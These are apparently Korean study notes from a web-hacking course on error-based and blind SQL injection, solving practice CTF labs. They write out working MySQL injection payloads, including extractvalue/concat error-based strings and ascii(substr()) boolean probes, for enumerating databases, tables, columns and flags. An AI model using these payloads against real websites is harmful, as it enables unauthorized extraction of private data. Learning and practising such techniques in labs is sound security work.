normaltic' and extractvalue('1', concat(0x3a, (select 'normaltic'))) and '1'='1
DB 이름 출력해보기 : sqli_2_2
table 이름 알아내기 flagTable_this → member
select table_name from information_schema.tables where table_schema=’sqli_2_2’
normaltic' and extractvalue('1', concat(0x3a, (select table_name from information_schema.tables where table_schema='sqli_2_2' limit 0,1))) and '1'='1
컬럼이름 추출하기 idx → flag
normaltic' and extractvalue('1',concat(0x3a,(select column_name from information_schema.columns where table_name='flagTable_this' limit 0,1))) and '1'='1
데이터 추출하기
normaltic' and extractvalue('1',concat(0x3a,(select flag from flagTable_this limit 0,1))) and '1'='1
select column_name from information_schema.columns where table_name=’flag_table’ limit 0,1
normaltic' and extractvalue('1' , concat(0x3a, (select column_name from information_schema.columns where table_name=’flag_table’ limit 0,1))) and '1'='1
데이터 추출 segfault{1 → a→ b→ c→ d→ e→ f→ g
normaltic' and extractvalue('1' , concat(0x3a, (select flag1 from flag_table))) and '1'='1
normaltic' and extractvalue('1' , concat(0x3a, (select 'normaltic'))) and '1'='1
만든 쿼리가 정상적으로 동작하는지 확인
DB 이름 출력 sqli_2
normaltic' and extractvalue('1' , concat(0x3a, (select database()))) and '1'='1
테이블 이름 추출 flag_table → member
select table_name from information_schema.tables where table_schema=’sqli_2’
normaltic' and extractvalue('1' , concat(0x3a, (select table_name from information_schema.tables where table_schema='sqli_2'))) and '1'='1
normaltic' and extractvalue('1' , concat(0x3a, (select table_name from information_schema.tables where table_schema='sqli_2' limit 0,1))) and '1'='1
컬럼이름 추출
select column_name from information_schema.columns where table_name=’flag_table’ limit 0,1
normaltic' and extractvalue('1' , concat(0x3a, (select column_name from information_schema.columns where table_name=’flag_table’ limit 0,1))) and '1'='1
데이터 추출
normaltic' and extractvalue('1' , concat(0x3a, (select flag from flag_table))) and '1'='1
SQL 질의문의 결과 데이터가 화면에 출력되는 곳에서 union sql injection을 활용할 수 있다.
SQL질의 결과가 화면에 출력된다? → union sqli
Error 출력될 때 → Error Based SQL Injection → 에러 메시지를 활용해서 데이터를 출력
에러 베이스에서 활용할 수 있는 조건은 아래와 같다.
→ 로직 에러
→ SQL 에러
문법 에러 / 로직 에러
코드를 컴퓨터가 읽고 실행하는 과정에서는 컴파일이라는 과정이 있다.
SQL 언어도 DB가 SQL 언어를 해석하고, 컴파일하는 과정을 진행한 이후에 실행을 한다.
문법 에러 syntax error
select * from member asdasdasdav
select * from member where id = ‘
→ SQL syntax error 는 실행이 안되기 때문에 쓸모가 없다.
XML (eXtensible Markup Language)
: 데이터를 구조화된 형태로 표현하기 위한 마크업 언어입니다.
Logic error를 유발할 수 있는 팁
-> mysql, oracle, mssql 모두 다름
XML 데이터에서 어떤 특정 데이터를 추출해내는 함수
extractvalue(1,2)
앞에 XML 문법 / 인자가 2개
아래와 같이 유효하지 않는 표현식을 사용하면 XPATH 에러가 나오게 된다.
사진처럼 앞에 특수문자 : 등을 적어주면 된다.
- extractvalue('1' , 은 아무 숫자
- concat (문자를 붙여주는 역할)
concat (’1’, ‘2’) —> 12
- select 문에 우리가 궁금해하는 데이터, select SQL 질의문을 넣으면 화면에 출력이 된다.
ex) select ‘normaltic’ 이 부분에 넣으면 된다.
Error based SQLi
→ 에러 메시지를 활용해서 sql 질의문을 삽입
→ 데이터 추출이 목적
(select ~)
(select pass from member where id = ‘normaltic’) = 1
‘1234’ = 1
SQL 에러 메시지 -> 1234는 숫자가 아니에요
에러메시지 안에서 데이터를 확인할 수 있는 것이다.
select 문의 결과를 어떻게 에러메시지에 포함될 수있을까요?
MySQL 에 존재하는 추출방법
extractvalue (’xml 글자’, ‘xml 표현식’)
문법에 맞지 않는 신텍스 에러가 나와서 마지막에 and ‘1’=’1 로 문법을 맞춰준다
그럼 아래와 같이 로직 에러가 나온다
앞에 콜론이 있어야지 데이터가 출력이 되는데 그럼 select 문을 넣을 수가 없다
→ concat 이라는 함수를 사용한다
concat(’hello’, ‘test’) → hellotest
concat(’:, ‘test’) → hellotest
concat(’0x3a, ‘test’) → hellotest
이렇게 쓰면 —→ :test 라는 글자가 만들어지면서 : 을 만들 수 있는 것이다.
콜론을 넣어야만 되는 이유
extractvalue 때문에 그렇다
: 콜론으로 시작하는 xml 표현식이 아니기 때문에 에러가 발생하는 것이다. → : , ! 도 가능
SQL 포인트 찾기
SQL syntax 에러는 SQL쿼리와 관련된 에러이다.
우리가 원하는 SQL 에러가 화면에 출력되고 있다.
2. 에러를 출력 함수
extractvalue
3. 공격 format 만들기
첫번째 and 를 써야지 구문이 맞춰진다.
→ normaltic’ and extractvalue() and ‘1’=’1
→normaltic’ and extractvalue(’1’ , concat(0x3a, (___________))) and ‘1’=’1
ex)
이렇게 넣으면 normaltic 이라는 데이터가 화면에 출력이 된다.
normaltic’ and extractvalue(’1’ , concat(0x3a, (select ‘normaltic’))) and ‘1’=’1
DB가 화면에 출력되는지 우선 확인하고 진행해야한다.
4. DB 이름 출력
select database()
normaltic’ and extractvalue(’1’ , concat(0x3a, (___________))) and ‘1’=’1
→ normaltic’ and extractvalue(’1’ , concat(0x3a, (_select database()))) and ‘1’=’1
DB 이름을 알아낼 수있다. —> segfault_sql
5. 테이블 이름 알아내기 :game, member, secret, …..
select table_name from information_schema.tables where table_schema=’segfault_sql’
normaltic’ and extractvalue(’1’ , concat(0x3a, (_select table_name from information_schema.tables where table_schema=’segfault_sql’))) and ‘1’=’1
붙여넣으면 한개 이상의 이 나와서 에러가 나옴
그럼 행이 하나만 출력되게 limit 을 사용해야한다.
normaltic’ and extractvalue(’1’ , concat(0x3a, (__select table_name from information_schema.tables where table_schema=’segfault_sql’ limit 0,1))) and ‘1’=’1
limit 0,1 → limit 1,1 → limit 2,1 등으로 돌려가면서 테이블 이름을 확인할 수 있음
공격 format을 만들고 → 우리가 실행하고 싶은 select 찾기 → 복사 붙여넣기
컬럼이름 idx → name → score …
normaltic’ and extractvalue(’1’ , concat(0x3a, (___________))) and ‘1’=’1
select column_name from information_schema.columns where table_name=’game’ limit 0,1
normaltic’ and extractvalue(’1’ , concat(0x3a, (_select column_name from information_schema.columns where table_name=’game’ limit 0,1))) and ‘1’=’1
첫번째 컬럼 idx → name → score …
limit 0,1 → limit 1,1 → limit 2,1
만약 game 테이블에 있는 name 컬럼을 출력하고 싶다
select name from game limit 0,1
normaltic’ and extractvalue(’1’ , concat(0x3a, (___________))) and ‘1’=’1
normaltic’ and extractvalue(’1’ , concat(0x3a, (_select name from game limit 0,1))) and ‘1’=’1
error based SQL Injection 자동화
terminal
python3 errorBasedSqli_request.py
테이블 이름을 출력하고 싶다
파이선으로 만들어서 자동화를 하면 테이블을 하나씩 찾지 않고 모든 테이블을 쉽게 볼 수 있다.
여담
500에러와 에러 메시지 출력은 어떻게 다른가 ??
500에러
→ 에러에 대해서 처리해주지 않았을 때
개발자들은 그런 환경에서 개발하지 않는다.
내가 어디서 개발하다가 문제가 났는지 알 수 있도록 에러메시지가 화면에 출력이 되도록 프로그래밍을 한 것 이다.
SQL 질의문 결과가 화면에 출력되는 경우 : UNION SQL
에러메시지가 화면에 출력되는 경우 : Error Based SQLi
SQL질의문 결과가 화면에 안나오는 경우, 그런데 SQL 질의문을 사용하기는 할 때 : Blind SQLi
→ 로그인 페이지 : 로그인이 된다, 안된다 결과가 보임
→ 아이디 중복체크 : 아이디와 비밀번호 이름이 출력되는 것이 아니라, 아이디를 사용할 수 있다, 없다만 결과를 나옴
→ 이런 곳에서도 데이터를 빼낼 수 있을까? Blind SQLi
참과 거짓의 응답 차이를 통해서 알아낼 수있다.
Blind SQLi 단계
1. SQL Injection 포인트 찾기
normaltic’ and ‘1’=’1 → 참 → 존재하는 아이디입니다.
normaltic’ and ‘1’=’2 → 거짓 → 존재하지 않는 아이디입니다.
항등원으로 쿼리를 보냈을 때, 참 또는 거짓이라는 값이 나오면 SQL Injection 이 가능하다는 것이다.
2. Select 문구 사용 가능한지 확인
normaltic’ and ((select ‘test’)=’test’) and ‘1’=’1 → 참 → 존재하는 아이디입니다.
normaltic’ and ((select ‘test’)=’abc’) and ‘1’=’1 → 거짓 → 존재하지 않는 아이디입니다.
3. 공격 format
normaltic’ and (조건) and ‘1’=’1
substr() ⇒ 글자를 잘라주는 함수
substr(’test’,1,1) ⇒ ‘t’
substr(’test’,1,2) ⇒ ‘te’
substr(’test’,2,1) ⇒ ‘e’
substr((SQL),1,1)
substr((select ‘test’),1,1) → ‘t’
공격 Format에 넣는다.
normaltic’ and (substr((select ‘test’),1,1)) and ‘1’=’1 ⇒ 존재하는 아이디입니다.
아스키코드를 활용
ascii(’a’) = 97
substr((SQL),1,1) → 한글자로 가져와서
ascii(substr((SQL),1,1)) > 0 → 숫자로 바꿈
select ‘normaltic’
normaltic’ and (ascii(substr((SQL),1,1)) > 0) and ‘1’=’1
normaltic’ and (ascii(substr((select ‘normaltic’),1,1)) > 0) and ‘1’=’1
normaltic’ and (ascii(substr((select ‘normaltic’),1,1)) > 70) and ‘1’=’1 등등
repeater 에 보내서 → URL 디코딩 → 실행
send 보내서 존재하면 화면이 바로 나옴
존재하지 않으면 화면에 안나옴
4. db 찾기
select database()
normaltic’ and (ascii(substr((select database()),1,1)) > 0) and ‘1’=’1
5. talbe 이름
select table_name from information_schema.tables where table_schema=’segfault_sql’ limit 0,1
normaltic’ and (ascii(substr((select table_name from information_schema.tables where table_schema=’segfault_sql’ limit 0,1),1,1)) > 0) and ‘1’=’1
column 이름
db 데이터 추출
자동화 하기 전에 수작업으로 해보라 blind practice
오늘 과제
Error based SQLi 정리 & 연습문제 풀기
[SQL Injection (Error Based SQLi Basic)]
Blind SQLi 정리 & 연습문제 풀기
[SQL Injection (Blind Practice)]
수작업 -
이번주 과제
SQLi 데이터 추출 총 정리
SQLi 문제 풀어보기
write up
웹 사이트 개발 과제
게시판 페이지 만들기
DB에 테이블
글 번호, 제목, 작성자, 날짜 등 테이블을 만든다음 → 더미 데이터를 넣어놓는다 → 화면에 출력